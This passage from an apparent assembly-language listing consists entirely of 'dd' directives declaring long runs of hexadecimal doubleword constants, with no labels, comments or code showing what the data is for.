4BEE298h dd 0A606C518h, 260110h, 0AB8F040Fh, 862D639Bh, 0C800E4F2h dd 1585D32Eh, 30AE541Ch, 0F830A2E0h, 2B63A4A3h, 0B9914819h dd 8402004h, 4E4F79h, 0B35AF569h, 4D517695h, 772C3450h dd 0DF949B05h, 0C60AB85h, 858F03D8h, 3096288Ch, 0F5680D11h dd 9058B461h, 0FD813BA0h, 86013525h, 79465E40h, 407E66E8h dd 0B83459DCh, 780228E0h, 8474485Eh, 0F73B2058h, 97E27768h dd 0E7F11DB4h, 62B3B04Eh, 91360EE0h, 1DA1761Eh, 0CC417B12h dd 867C9DFBh, 21D12880h, 1F512ABCh, 0C7DF328h, 0F4EB4E09h dd 30E427AFh, 16A08B90h, 335F0754h, 41E19751h, 828C0B28h dd 2587FE19h, 99FC4819h, 99D001Bh, 67F3E423h, 730A6563h dd 0C3BD268h, 914780Fh, 6714A2E9h, 2858800Dh, 53015511h dd 0CCA264A8h, 97413320h, 8C395563h, 120BBC02h, 9CF0B80Eh dd 0CE80E7BFh, 0A16E0542h, 69524FF0h, 0A051F84Ch, 98A1E2E0h dd 4830425Ch, 0C3C2248h, 51E605FBh, 0F4290BC1h, 1A918C80h dd 6FA0E446h, 2A3AD81Fh, 98696CD3h, 90C8847Dh, 9049459Fh dd 144D2164h, 0E2193D61h, 884C9BA5h, 48E0C4C8h, 16648278h dd 557B7710h, 408A940Ch, 84E0A8B5h, 8CE5447Dh, 148AAC0Ch dd 996A6880h, 261AC20Ch, 11428C81h, 0A804625Dh, 882E5374h dd 0B8E0AE31h, 0AFF441FCh, 0BAFB1303h, 24488E7Eh, 609073A3h dd 9117B62Dh, 427C9128h, 99418D80h, 50910C18h, 13D98C19h dd 3E656F68h, 0B489C40Ch, 3B12D17Ch, 0A832A965h, 518028E8h dd 0C99A327h, 8C90970Ah, 9C6A5D12h, 8F52888h, 0B14CD46Ch dd 0E4A0934Eh, 97B2C50h, 87621E61h, 8D3F1424h, 1A746260h dd 0BE61AC37h, 1892350h, 8438E7E2h, 234AEDE4h, 0F1816DA8h dd 14B432CAh, 95D86415h, 58937C30h, 4C523065h, 0B9882C6Ah dd 15BC2D7h, 0CECC837h, 0CA10AA35h, 77554900h, 344E8E54h dd 181C6A01h, 0EBCC0878h, 3D44DC28h, 6013E636h, 466018E8h dd 7C31A155h, 9598706Eh, 0ADED22F2h, 0D7089C08h, 3CD33D03h dd 37908304h, 0E814797Ah, 11A43C70h, 871447C6h, 58C89627h dd 7523D9E2h, 809C261h, 6A035B00h, 5D9E015Ah, 0E6B3A561h dd 0F3CCE04Eh, 0C11F4FF8h, 0B40A645Ch, 0BE3C14A1h, 93E81752h dd 82602400h, 91F17D39h, 8171624Ch, 730C4C60h, 301AE488h dd 7384F5Eh, 0F4A274EEh, 21250460h, 20AB9140h, 0FB09221Ah dd 2666043h, 20528E10h, 58C895C2h, 84200653h, 3B601F6Bh dd 0DA31B9DEh, 38757877h, 30DA4E4h, 65E85EC4h, 189BF524h dd 0CF004078h, 879F862Ah, 92A56046h, 0BD71ACh, 98512C6Ah dd 32E4FB29h, 0B806E274h, 0AA60FC9Ah, 0C2F30029h, 7749C50Dh dd 6CE0D8D0h, 5B46500h, 2E815652h, 457F4A43h, 211AF54Ch dd 58ECBE8h, 1AB0C00Eh, 60006018h, 887349C6h, 115F9801h dd 99550157h, 9189F980h, 80BA219Fh, 9D8F8A11h, 850F5506h dd 31C7DFA4h, 0C007FD01h, 0C029AC45h, 700792F4h, 940AEE15h dd 4AB81330h, 0FAED189Eh, 1DC9D118h, 500989Ah, 623485AEh dd 0BFCBA7h, 6F5A779Ah, 63D62A0Dh, 0D7A21302h, 72651D51h dd 0A080E64h, 12521FA3h, 14700300h, 2100DFD1h, 9CC5E0F1h dd 0D412B9Eh, 1161505Eh, 30D8E079h, 8E663300h, 0B95F8465h dd 3F8C008Bh, 143BBE45h, 7E60C57Fh, 130E8269h, 787500F8h dd 70182FD1h, 2E004F83h, 0D9566817h, 825222h, 0A10B370Ch dd 13997AD6h, 0B0A8E23Ch, 0E6D791ECh, 0B36E0323h, 0CAF5DC67h dd 643088E8h, 83FFC4A0h, 0E0F630C4h, 0E0CD4E3h, 811176C5h dd 18B5507h, 3405396Dh, 0A0998800h, 0E74A594h, 4E2D7067h dd 922A6981h, 0DF64E882h, 5B07760Ah, 57049066h, 9E40E1F6h dd 656968D2h, 2420C448h, 9398247Dh, 0CAA021h, 0F63FD068h dd 741B9C8Dh, 0A96430E9h, 82DF2E10h, 0B6E8B851h, 8C650068h dd 0A2640C05h, 0FB00797Bh, 0F5167A48h, 758E1C4Fh, 51AC35EBh dd 50A480D8h, 0E9C0A860h, 0D21F6801h, 0B862662Ah, 1660C122h dd 1F60E721h, 302E4C18h, 2F57D10h, 0D79B30D0h, 0AE004076h dd 597E826h, 1D4194E0h, 739C2066h, 9863D07Eh, 90F6B0h dd 131C20E1h, 2C22F41Fh, 8B3C067Fh, 9C3E0099h, 54811B76h dd 67831282h, 0E0D414F5h, 446F5F00h, 0FCB9BBFBh, 54288710h dd 6B97A103h, 98130CFDh, 6C035FE0h, 888222E8h, 0A575B52h dd 5150704Eh, 805811C4h, 656A68CBh, 95448CCCh, 68C3009Fh dd 0CF429487h, 2FEC5D69h, 37792465h, 8736800h, 64AE39h dd 0CC5E16A6h, 0C65366B6h, 4652C909h, 0CE3400DCh, 0B4F0ACAh dd 0FA2DAF51h dd 53C98C22h, 619C10D1h, 8CC8EC0Fh, 50671921h, 17B797FBh dd 1443F0h, 0D40DCBBAh, 2833F65Eh, 5452A5FAh, 91444831h dd 1D6E1750h, 7F012224h, 20D36AFh, 4BE0676Fh, 1D11399h dd 0C83804E5h, 0CAD88057h, 8D011D44h, 0D76664D6h, 108C59D2h dd 0C349B060h, 3A5B900h, 0F36AFFD9h, 77B328D2h, 6C4E4490h dd 59D05817h, 0C9CF1805h, 5B2E5000h, 0EF974433h, 2BA9EC07h dd 539521C0h, 0FF8A33h, 0E1096EA7h, 0CCA24CACh, 2D6F6902h dd 437FA80Bh, 0AE0DC03Ch, 33CB8FAh, 887ED722h, 0C8D68BB7h dd 2054603Dh, 21872843h, 7B1C904Ch, 67320E01h, 0C4943A05h dd 0BC04A848h, 0D1C52687h, 20299964h, 9777A374h, 0E4FB6E80h dd 81C52A5Fh, 694400D8h, 0FCF088E4h, 0A5023479h, 213B9891h dd 78F46411h, 6B12499h, 0A77C8050h, 64574AF9h, 78CAAE26h dd 5F019420h, 5747D6Ch, 0ED045D7h, 3044006Eh, 0E93DA1DCh dd 831F4F54h, 650541D9h, 9C90E205h, 6063D330h, 0F95DA08Fh dd 6C029FD7h, 486F245Ch, 0ADF84173h, 1F086718h, 0C45A2AD1h dd 5FE2401Ah, 0AD4B81Fh, 0FAEED281h, 206016E0h, 0A019A51Ch dd 0AD7C2A00h, 66F9C1BEh, 829F00CAh, 81EAAEA4h, 0C4986CD1h dd 48E5B73Bh, 0F9440078h, 0E037A6DEh, 0BFD313DBh, 0A2DC411Dh dd 42902C40h, 88CC5E94h, 780B594Fh, 908831E5h, 1151B810h dd 33EDD600h, 9E01C93Ah, 0B4FD5918h, 40901B13h, 6FCEF998h dd 53649466h, 0B9417B60h, 0CCBD4F4Ah, 0B00077A9h, 33AFC82Eh dd 269759FFh, 0DE949498h, 0F6E3A909h, 68E8208Fh, 4F7AD9h dd 35C10E21h, 40AE3D62h, 0FAE42D05h, 8680933Ah, 249600Fh dd 0CFC580FCh, 74606842h, 2D1D4ED3h, 8A5814B8h, 28258751h dd 0C2FC3052h, 0F46533A8h, 45612C40h, 88F04F4Ch, 1F6DC053h dd 0CA212AD7h, 159180h, 241F65ECh, 636E630h, 5C3D2F2Eh dd 514648BBh, 0CD0ABF58h, 4424BA2Ah, 63E6401Dh, 0B2F31Fh dd 0B098D246h, 2ABB01CCh, 86EFD312h, 26565000h, 253B9AD8h dd 9038AF3Dh, 25186591h, 49E01FDEh, 9637136Dh, 0D3FC499Fh dd 3FD1E807h, 5A47D00h, 0C800F046h, 7758045Fh, 0D492D47Bh dd 0C6265848h, 335CC038h, 70469743h, 54F42922h, 6D913300h dd 63DCE8Ch, 2AA909A6h, 0FC209FABh, 89F8F569h, 0A30698DFh dd 7C187C67h, 992BFCE5h, 0A15C0E20h, 0F8AB20ABh, 1691980Fh dd 58189E7Bh, 793B6F18h, 53061358h, 0FAC00703h, 120C40C8h dd 0B94C9840h, 8C27BC98h, 5C06E703h, 0E7488A5Eh, 380B3020h dd 8B949998h, 380493C0h, 0CD6F4056h, 318DA31Eh, 8030023Eh dd 0BA5C0379h, 2AECA0A2h, 0C493B39Bh, 8E53FB18h, 0C116880Ch dd 6D387FEDh, 840C006Ch, 32B03DE2h, 0D5FA00A2h, 6758C8CDh dd 2641922Dh, 0A0388C40h, 0ABC30F5Ah, 0C03275FBh, 0D83C9940h dd 0E9F42100h, 5C07BAF9h, 6FA227DDh, 0E7C33830h, 0FC7DF30Ch dd 7D4E38E1h, 61510172h, 1E793867h, 632074E2h, 9A71920h dd 7549DFDh, 0CBD240C0h, 3BD15909h, 78E8601Dh, 0AE251435h dd 0B5F120C3h, 48421905h, 335830CAh, 50975F16h, 0F8908038h dd 0D5770933h, 5D0067B4h, 798A49CBh, 7E2058B0h, 2C575818h dd 0F57510h, 0E34321D1h, 283860FBh, 0B47AEBh, 0BC42B3AFh dd 2E35E74Ah, 3EA733Bh, 349843C2h, 33D9A0C0h, 0E68A00C1h dd 7DE87239h, 471F6FEEh, 303101D5h, 0E0F42E46h, 9CC20042h dd 71B749E4h, 48E84B98h, 331128D8h, 3707CBDh, 0DE457347h dd 0E3E02E4Ch, 9E1E7246h, 5D1F3ADAh, 44C23401h, 4EE037D5h dd 3B75F0EAh, 7C2ED970h, 0D7044884h, 0C75A09DCh, 0B4007337h dd 0F0747C38h, 0C5184452h, 0E13ECAh, 0BFC0343Ch, 5459D449h dd 40F5C840h, 2510FD1Ah, 4D05B786h, 0D3A5E02Dh, 0A7C92E38h dd 0E410619Bh, 5F02D277h, 3BE2569h, 4CE46096h, 733806AFh dd 8171611Eh, 9AA39B00h, 4930D02Dh, 0B57009E2h, 0D8E622B3h dd 0DE01FAE4h, 25FE0B93h, 18822426h, 0ABB4D32Eh, 0E04848C9h dd 81DDA803h, 0CE4978C3h, 0B8D80DFCh, 0E108E2DEh, 38798CE0h dd 5BFBC05Bh, 0CF2831D8h, 0BCCDC49h, 9E7C8B56h, 98E87D0Fh dd 2D6B9B10h, 0FC807B93h, 484665A1h, 0C968FC62h, 60F50358h dd 0B8BF822h, 2F5475FDh, 8859C868h, 9C9C0082h, 0CA377D6Bh dd 42D43078h, 8C94F0A4h, 3BC20308h, 8105F30Eh, 0B5DF7A33h dd 8CF6880Ah, 0F3564E82h, 8050E060h, 0D0514ACAh, 54612150h dd 6EA2C507h, 963F6853h, 8FA5F422h, 1C041248h, 28984F79h dd 5E6491E1h, 13597160h, 0F87E382Dh, 3DE83902h, 0BCE00681h dd 0D452306Eh, 9C7DC14Ah, 45BD3703h, 0C2BB42EAh, 5878CCD3h dd 0C00B5040h, 540FDE73h, 5DE59881h, 0BD4ED04Fh, 1BF320C0h dd 0A60582E9h, 255E0144h, 0C41A4B99h, 4B0C271h, 5D7065C6h dd 400C1953h, 0B71F5708h, 8C22E041h, 93ED2974h, 10A71F08h dd 0CE0FDFE2h, 0A0158AE1h, 61504074h, 0D09109CAh, 657323E4h dd 78A22122h, 1930ADDDh, 0D2F9210Dh, 9BE7441Ch, 91D781CEh dd 109F0891h, 6170401Eh, 9B118640h, 74147C9Ch, 850C3661h dd 8C642EE6h, 91ED5001h, 28AFB4ABh, 184A9CABh, 0E0867CD0h dd 0E499309Eh, 0E612E309h, 0E848E524h, 0EA22E791h, 89ECE944h dd 24EE12EBh, 919048EDh, 1923E8Fh, 0CAAE66A9h, 0D0C86254h dd 0A2C1C6E5h, 0A852B851h, 4E3CA84h, 4ABA655Dh, 0BC1908h dd 0FE550CD8h, 4F3EA21Dh, 1EAC3EAEh, 0A900796Dh, 54A19F85h dd 0CE707FDh, 87EDDFC7h, 0C7F547CFh, 32BE8F97h, 1102E540h dd 4D049Fh, 0A17F85A6h, 25DF78B9h, 48353532h, 0FF04A1FFh dd 0AC5264D5h, 5E59C088h, 2255C750h, 0F8F85664h, 0AC38A052h dd 7073083Bh, 0F28151C8h, 0F7CA71C4h, 41F80991h, 0FA040B18h dd 0F628E0AEh, 0B8F30099h, 0A47F6F18h, 10A06133h, 4F526570h dd 381AC38h, 0EF8333Eh, 1A93F322h, 80A5E5E1h, 0D11F5B18h dd 1FA27C7Ah, 28FD90C3h, 0F2997C1Ch, 2355052Ah, 225201B6h dd 38F5AD28h, 33A26DE4h, 0C941E7B4h, 980031EEh, 2BCA481Bh dd 30DF565h, 4476917Dh, 0BB86397h, 0F908E423h, 83474B6Bh dd 1B4A2BF0h, 11228BE8h, 0FA7DB201h, 0F977F3F2h, 815CCC7Fh dd 8E1C9610h, 43676C00h, 1AC94422h, 8028D93Ah, 5FDD1B31h dd 0E274566h, 0CF4BDEEFh, 0D064D420h, 3A010CCAh, 9601FD25h dd 488C9444h, 1C10B597h, 7CF8F40h, 35A9D6CDh, 16304071h dd 47033F60h, 0CAE58356h, 0B0E9001Ch, 0CD2EC9C8h, 63003702h dd 99155F5h, 187A9F0h, 77FDAC26h, 0D7656FA1h, 428440FDh dd 3BA3061Bh, 0CA8F2207h, 0C4A099A2h, 7C5DC512h, 5E910FDAh dd 5601041Fh, 0DC9D18CFh, 0D10111DDh, 0D412C955h, 144A1E50h dd 6079593Ch, 9AA830CEh, 0D1F8154Eh, 0CF4320h, 0A9ACC453h dd 97171D42h, 0EC069577h, 0A71A5AC5h, 1EC81E90h, 4018B7D5h dd 9B141D57h, 0A7195106h, 0CE8058C3h, 0A68EC528h, 40A82027h dd 0D5A2185Ch, 333078D4h, 0CB523156h, 0A2590AA8h, 620C4FCFh dd 84A0AC20h, 429703C9h, 0D4AB2105h, 8800184Eh, 0D0AC1B52h dd 2029C01Fh, 0CF306A29h, 0C31743Ch, 493D28AFh, 18F80764h dd 0AC7842A8h, 26006231h, 0A6B17C72h, 3199AE4h, 9FBC3A0Bh dd 0F4B857A8h, 2100F1CCh, 87412612h, 0FB20722h, 317FEB6Bh dd 86ACCD80h, 230327FEh, 2FAF84FCh, 0E4711F55h, 4C5E8212h dd 210024F7h, 0C3AEDBDh, 3891A431h, 0BB3AE528h, 0B77D0462h dd 1B062334h, 0A050A17Fh dd 2C88A918h, 68826FFCh, 0B71B8670h, 9B771931h, 8FB61998h dd 1178B259h, 1EA9DD10h, 402AAAD5h, 0C7298040h, 4DDEA229h dd 0D5C008B8h, 30356832h, 9EA89044h, 1BBCA83Eh, 3959C011h dd 8851BA56h, 5883A60Ch, 1C25203Eh, 942C8969h, 8523D022h dd 0D0C44010h, 0FE63607Bh, 0D20B3161h, 86291A30h, 567723B9h dd 0E0B80269h, 78339D85h, 0B97EA4A6h, 67A1390Ah, 0A318DC38h dd 33BA69F1h, 0D8318CE8h, 182A36FBh, 0A5284CA9h, 84805868h dd 0F788BAB6h, 91CA2426h, 0C0393718h, 910B078h, 368A9926h dd 1824DD0Ch, 4CDF5038h, 3B58A9A3h, 481E843h, 10B26591h dd 3C288723h, 3814E5B9h, 84A4DF56h, 242B3CA4h, 7FDB7442h dd 0C47A42B8h, 0F9449A71h, 82212B23h, 0C1905488h, 426F10AFh dd 0C2155128h, 2927993Ch, 0DC217E38h, 2336448Eh, 3B3FE481h dd 5088C21Ch, 106AD944h, 0A2A2846Ch, 0B144F0A2h, 7408289Fh dd 89551B3h, 0DE0FE709h, 0AAA28AD0h, 841AE111h, 1B61AFF8h dd 485C323Eh, 51288F6Ch, 0B2868C48h, 0E51B3150h, 0C0516B3Fh dd 6DD541C0h, 41401197h, 12322F84h, 0A3348F6Eh, 2241D486h dd 0E102AA90h, 2C79B97Eh, 23A049E9h, 0EA194013h, 3F11882Fh dd 4C562801h, 7C4CB74Ch, 118CC898h, 346528BDh, 48319B2Bh dd 7CF57D01h, 118230B7h, 6202D35Dh, 1B24E844h, 5565DCBBh dd 1349A826h, 2067E516h, 327B8168h, 11EFA491h, 0A2F7FD03h dd 100033D3h, 0E37276F6h, 3C95BB0Bh, 7C0059DAh, 50713BC0h dd 757F19CFh, 0D016C70Bh, 0D4E4005Ch, 0E8F8ACFCh, 0A7C30040h dd 0A5CF7297h, 0F8B054A8h, 0B920631Fh, 18AC003Fh, 16559708h dd 43C50F1Eh, 3EDD3BE3h, 1B32F920h, 0E02B40A1h, 0A27400Ch dd 1D59D0FEh, 1A414040h, 42789BA1h, 0E422F61Fh, 53971F07h dd 986C308Ah, 194E14CEh, 0E3CB1C12h, 38C84886h, 14B8E9E4h dd 291A533Ah, 34AC60CEh, 18DC0468h, 70121A4Fh, 945CE819h dd 78AE2E25h, 1D001823h, 1E5C97A5h, 0E9AA01A8h, 0A4D559D8h dd 602C5D19h, 0C4A0CFE8h, 0E57CD952h, 0BE964C50h, 3E385153h dd 900F0520h, 0B0C3E54Ch, 144AF745h, 3B403852h, 0DE4A00BEh dd 1D5AB90Fh, 0D0E8C315h, 19F8AC54h, 0D6A7D50Ah, 0A35594E7h dd 73C0D704h, 98C608CBh, 71050F18h, 5780B86Fh, 0ABA8D053h dd 12185200h, 0FDA92CFh, 554DD6h, 0C1197874h, 0D552AC28h dd 0A698244Bh, 68141D00h, 0D417D094h, 40164C54h, 2860523Ch dd 0BEA88F1Fh, 0D420554Ch, 0C84C026Ch, 43A99BA5h, 745056ECh dd 0DEEE950Dh, 2B600491h, 0E800FF04h, 191E5D65h, 8C0B53D1h dd 2443D202h, 40987F90h, 58534890h, 1A44820Ch, 59E84012h dd 204C70F0h, 3CF448D0h, 0E7ED7A5Fh, 0A2194013h, 0A78CC000h dd 0E185C9Ah, 1F4EAB5Bh, 8C80109Ah, 17C3B97Ch, 1E54CF1Ch dd 701FD556h, 8F4EA64Eh, 1C7F0444h, 1B58A080h, 1810C6A7h dd 0C6246003h, 5830AC1Eh, 3A2754A6h, 0C4308212h, 0AC2B7F40h dd 0C36FA774h, 7C50FC8h, 304C519Bh, 788C7C4Eh, 54A1C7A7h dd 55D2C019h, 0D40A041Dh, 9859275Ch, 567D0448h, 9E3EF8A5h dd 5B1740D2h, 0A1DED460h, 8C432CAAh, 8091C760h, 0CF5DC3FAh dd 50D55B09h, 4EB83A1Ah, 14521218h, 1BF00917h, 0CC071C8Bh dd 804F44A7h, 0CA7FD0E8h, 90C2AE7Ch, 0C357A6ACh, 0F058C67Ch dd 0C3553A99h, 8D6090A8h, 0E8407D04h, 0B2C94175h, 18EF16C4h dd 12B40B99h, 0C55BE438h, 0CB0C3F4Ch, 1F980115h, 0DC60D6ABh dd 0D821E912h, 2C287CD3h, 49C497A8h, 0C35B1C01h, 4E0C34ACh dd 0E45D2741h, 0A8502CF3h, 2F3D8FC0h, 2081188Bh, 30A21D45h dd 69DFCF10h, 4319AC1Fh, 2072D5C2h, 2C194E14h, 0C23C87B4h dd 0D4F0CFAEh, 0EB3431F7h, 7FD4580Ch, 7C4F9CC9h, 0DEB0CC1Fh dd 18A64E80h, 14265090h, 0FCD73861h, 0C057048Fh, 0D098BE0Fh dd 84200C5Bh, 21131691h, 57C21FD6h, 0B189D53h, 0C8004ECAh dd 1216E0A6h, 6853D029h, 970801DEh, 0A6A2C472h, 0D0D86043h dd 2646F5Dh, 99122054h, 6618AB40h, 8C5088F8h, 75723AF6h dd 55D4F20Bh, 0C4A720A0h, 38B8CE1Eh, 89AA1227h, 27D05944h dd 0D4793C12h, 8077228Eh, 1658B7A7h, 4ED4391Eh, 51971A82h dd 8CE10118h, 70C4F51Bh, 631D5B70h, 0B71FBB70h, 50B09C28h dd 9B03151Fh, 0A79720B0h, 0C3A51D18h, 0D11E0945h, 2D4050E9h dd 0BD1F83C8h, 0B96803ABh, 1E5D6FF8h, 1A800AEDh, 0E9925D34h dd 0FB18ECC2h, 7C34A150h, 525FD1E4h, 0ABE49073h, 0F001A5D0h dd 0FEBCFD82h, 11AE1D0h, 8C55D1A5h, 9D549A14h, 0A7C34121h dd 0A2C95CD4h, 5BC8849Bh, 0D9D230E1h, 0CAC89E0h, 381A80C2h dd 73E71097h, 53D416C0h, 1EE8DFB9h, 0F028751Bh, 0EF247E60h dd 0DC201CA4h, 1B3057FEh, 13CF201Fh, 0C3551DA6h, 1D540418h dd 77B8E119h, 0C43B2AE0h, 880F851h, 5A4EF28Ch, 9B11F860h dd 5BC80651h, 881DAE72h, 0DCA3527Fh, 44F88CA1h, 1ED81DD0h dd 0CEF5015Bh, 3120C94Eh, 400BE104h, 97A8C380h, 3A829B01h dd 0A71E51C5h, 95BF053h, 62ACC660h, 59982851h, 645B2728h dd 0AA6E998h, 0DC4A58A8h, 5A233762h, 0A548C260h, 0D4D19BABh dd 1C4EC382h, 0B544431Fh, 64A6F434h, 0A2F0494Fh, 30C12009h dd 9B01F05Dh, 1318553Eh, 6CC25AC3h, 0D0F08245h, 7F185140h dd 9B490D6h, 5CA9A7C6h, 49BEDC80h, 9701191Bh, 0C977011Fh dd 3180A5D7h, 2D2FD680h, 0C20074F8h, 7F3E2637h, 5862A6B1h dd 11004608h, 351DFDA3h, 960168A5h, 0AC22873Eh, 77F47BA2h dd 302667DFh, 0BC84203Bh, 5F0CFD08h, 9036EF6Bh, 0A0F800BEh dd 39784279h, 0DD00C90Eh, 0F53CA686h, 4FB8B44Ah, 201093E0h dd 737234A8h, 20EA5429h, 30DABA62h, 0F020E0C0h, 0FE35397Fh dd 0C0908F37h, 0CE5634E3h, 3A085D50h, 0D0703C62h, 3E1F237Bh dd 385ED811h, 7035A706h, 909730B9h, 0CA076Ch, 31741563h dd 0F3D0F421h, 33401CACh, 50909DD3h, 0C3009A08h, 87AD228Ah dd 146CEh, 7F86CC6Ah, 0BF1F9C31h, 31268330h, 1694982h dd 885BFB0Ah, 98E3A337h, 0B7217F08h, 22690073h, 24B4D3EFh dd 0F0039FF3h, 633AA2C7h, 444EE81Dh, 49238h, 0D165CC5Bh dd 0A882C7BEh, 8B7B633h, 0F5210047h, 0A36D6374h, 8550CCF8h dd 49C83B88h, 65BFC071h, 0CF21BECEh, 0C7F26083h, 603B8965h dd 0A0E7A0DFh, 887A270Ch, 2927B4A7h, 222CE86Ah, 0B791A54h dd 98397075h, 1C181D19h, 58688173h, 1646E2CCh, 88C91A3Eh dd 0AD83FF00h, 0B28229E2h, 48951830h, 306E37CCh, 0BEA07DB7h dd 7A52DCE0h, 31080680h, 0F61A93Ch, 3DCC8C01h, 0C4B0C081h dd 0C8705EDDh, 4B23D652h, 0BC980017h, 3AF53035h, 8C576E18h dd 0C0879E88h, 0C077F069h, 0AD03F526h, 0FE827F48h, 399F0AEh dd 0E73E0423h, 8053F9F6h, 743B21D4h, 71A8D830h, 1E50D8Ch dd 9606FB4Dh, 98F72324h, 0EA219108h, 31E50005h, 0FD4450F5h dd 0B312AF67h, 9800343Ah, 80B2A93Fh, 0A3D0C3B9h, 2DE0FD7Ch dd 0BD2BC382h, 80D99C3Dh, 697EFB1Ch, 2069836Fh, 812649E3h dd 0D04B5A9Bh, 99FAE908h, 0B4B22C00h, 71575C8Fh, 7A6C1C56h dd 9D7B0265h, 0C04CB31Fh, 0E69450Fh, 8A88D1FBh, 694D6380h dd 97316B7h, 0B61C6E7Dh, 19E73421h, 0CC4EE09Ch, 5D28BB00h dd 38FC7B01h, 10344CEEh, 0B588E86Fh, 7CE6519Fh, 38064E51h dd 0A4EFEB18h, 28263558h, 709836B2h, 610200BAh, 381F7834h dd 0A54DCA10h, 1486C8C0h dd 39E120EAh, 2401804h, 5CDC9E23h, 28429D2Ch, 74C6F848h dd 0A1380A04h, 0B900236Fh, 70563DB6h, 40588E05h, 0D020B77Dh dd 60F3A0FDh, 3C32835h, 0EB0A3EB2h, 90B11CCDh, 3C4A5C80h dd 39677614h, 0B78083CCh, 0FA6E0468h, 0C004366h, 1F01FFDDh dd 0C089B256h, 0D5FD1BB0h, 0F8286A02h, 0C3069CB7h, 6D53263Bh dd 7600A20h, 0A08BD1h, 0F166331Fh, 7E302634h, 0FD112025h dd 0B26515C9h, 0C77BC38h, 30B9FE37h, 78000320h, 0A4CBA84Eh dd 38BB2DDh, 61ADDF17h, 307189F8h, 0B9785F7Ch, 41F1E716h dd 59713044h, 5DF23C00h, 1A3002ACh, 0D780E924h, 37C00178h dd 0BD365727h, 0B20898E8h, 1BFE121h, 0DFD59C78h, 0BFB9B64Ch dd 0AB6E0D19h, 0F7F1588Eh, 61FE0C51h, 88471A6h, 1397B68h dd 0AEAC2E72h, 78254DFDh, 43000023h, 451956FAh, 0BE00CFB0h dd 7A9FB155h, 529A041h, 0C1D73F3h, 0E9F06249h, 0D8A47060h dd 5B6D61C0h, 1C8457A3h, 0B6BB2ABh, 3C792281h, 24B9FB02h dd 0CCA3003Dh, 0EA2D7C82h, 0C48E67Bh, 4A2A30FDh, 862CAD30h dd 465E789Dh, 9E380E8Bh, 5EAF80CEh, 5742342h, 992C5B22h dd 0CAF804A8h, 68E91E96h, 641FC012h, 9A0CD5C0h, 3F8D97D4h dd 9C855A4Ch, 36ACFA79h, 7A2DA8F4h, 0A8EE3Fh, 34416498h dd 7571CD21h, 819CE214h, 0A4F010C4h, 0BAC5609h, 0ECB40031h dd 0EF7E37CBh, 0E0B14486h, 6378BC04h, 4C8C6685h, 0E371EB8h dd 8658E292h, 306D26E5h, 0B295C361h, 1455EEC0h, 6015D0C1h dd 93080293h, 1840817Ch, 0BA81582Dh, 0BD005C23h, 9D4F7D9Bh dd 0F2183BEFh, 94C82C69h, 26D18186h, 0B1B90B94h, 0D8522Ah dd 7C1144B6h, 4A57D4BDh, 3632621Eh, 0D424BF0Ah, 0DC24279Dh dd 3994C067h, 1211D48Ch, 20AA3ECh, 3F779498h, 88296846h dd 89F1A47Eh, 4900A818h, 78B2FD8h, 5640D530h, 0B926AC8Dh dd 197D0F70h, 0E7281BC1h, 0F75ECCEFh, 1812504Ah, 7C823865h dd 65CD3073h, 0BFBED008h, 40506482h, 0AA6375F8h, 4CFF02CEh dd 999D5217h, 0C217204Ch, 0AF008E6Dh, 0B47CC681h, 1CCA4D0Ch dd 0B8B77842h, 7259B2C0h, 76390062h, 40558D2Ch, 1425B1FBh dd 0BC282424h, 0F3694860h, 11E3FB23h, 7062007Eh, 0DC4A4C69h dd 9F190004h, 0A227F03Fh, 710A49FDh, 948260F8h, 4605A713h dd 14CCD6C8h, 41E50809h, 8BC4A6FBh, 0E501E640h, 8700A02Dh dd 2E5CB1C7h, 15B029Ah, 235756B4h, 307F3475h, 0B640FCB8h dd 0F1BC611Ah, 0CC6836F5h, 0C200AB95h, 0C4230637h, 95F6D99h dd 0FBB1CD8Bh, 0F4805012h, 0AF4C1EBEh, 0F0D4A013h, 0B8B15047h dd 0B0E02898h, 2724674h, 0FB47E5F3h, 107531F6h, 0B8E50AECh dd 3D6D2CA6h, 915E08A4h, 70461428h, 0CB65CA02h, 1CB7BEh dd 0CB6372FBh, 5DC32F80h, 2C0133Eh, 2B45B6C6h, 77B4B0E4h dd 18BA2D01h, 299AC4E0h, 0F95EB10Fh, 0B0888959h, 2062D3C0h dd 7C849050h, 0B8C20108h, 0B6C540B4h, 0EF04E852h, 75C8F8BDh dd 8C01B888h, 0C108CE7Bh, 64571F37h, 0B6E24086h, 0E37B78h dd 107AF824h, 3AF4C0CDh, 5B51F614h, 64428Ch, 0D02FC4E3h dd 49837731h, 0F07F3835h, 37560F52h, 0EB008EC1h, 48C3F20Ch dd 5ACEFD04h, 6CD8D1F3h, 74AFBD1Ah, 0E3234C0h, 6639FF4Bh dd 6580537h, 0A442217Ch, 0B21C22D2h, 0C7386284h, 608B44F0h dd 388FD8A1h, 0E7A7952h, 0A0FB21ABh, 9B58468Ch, 0D9EC50E9h dd 2A00CE93h, 692B0CD1h, 0BE5C4Bh, 0F70FC66Ah, 0EEE14CC8h dd 0B700AC9Bh, 34CC6B40h, 1E1B1E58h, 7BD0A8D4h, 0B6EF03Ch dd 33ABC20Ch, 0DB82F0F1h, 94959062h, 44C8A7F4h, 6A3A6074h dd 41B80272h, 505C6EC6h, 5F329481h, 54C83039h, 0B4C704EFh dd 6C55AEC2h, 187660A8h, 0B0871F26h, 0DBD61E05h, 0EC8E6E99h dd 0E0CF8C88h, 0A00C343Ch, 904D6279h, 6CCEC51Ah, 4B13A00h dd 0BF60D5A3h, 3980A6B0h, 0CD838C02h, 9D246ADAh, 37D43040h dd 14C63E40h, 6070B26Dh, 8C046588h, 9481B933h, 9A0084F0h dd 0A104C116h, 25FE3AE2h, 353C50B0h, 16F4A0E7h, 23F42F98h dd 0B9390385h, 9B906BB7h, 94F26A7Bh, 0B1912C94h, 0A34ABD80h dd 0BF4093D0h, 320716ECh, 1894278Ch, 360E3583h, 0BB181C79h dd 0F2AD17E0h, 3D171034h, 87E8044Ch, 0DB5C0E8Ch, 7BEB5634h dd 84362091h, 0C1FE3561h, 28659CA0h, 0CB06FDDh, 3622577Ch dd 0E8CB970h, 0FB10694Bh, 4065E290h, 3E4FA900h, 20C855B0h dd 0E01DE450h, 222031B1h, 7F66E8h, 9409073Ch, 228014Ch dd 5022E0B2h, 3F6A10F8h, 973CCA83h, 807F1144h, 6B3E0FECh dd 0B8FF0787h, 0E1020AA1h, 848091F6h, 0A868E781h, 8C060488h dd 0CC11CB7Bh, 8988C737h, 83B3FD8Bh, 0D16C54AFh, 0E5602615h dd 0B42A0FF2h, 0DB6CB0C0h, 1024558h, 6E322279h, 9F704824h dd 805F04FEh, 13B5E8C2h, 8B84C0CFh, 86107E7Ah, 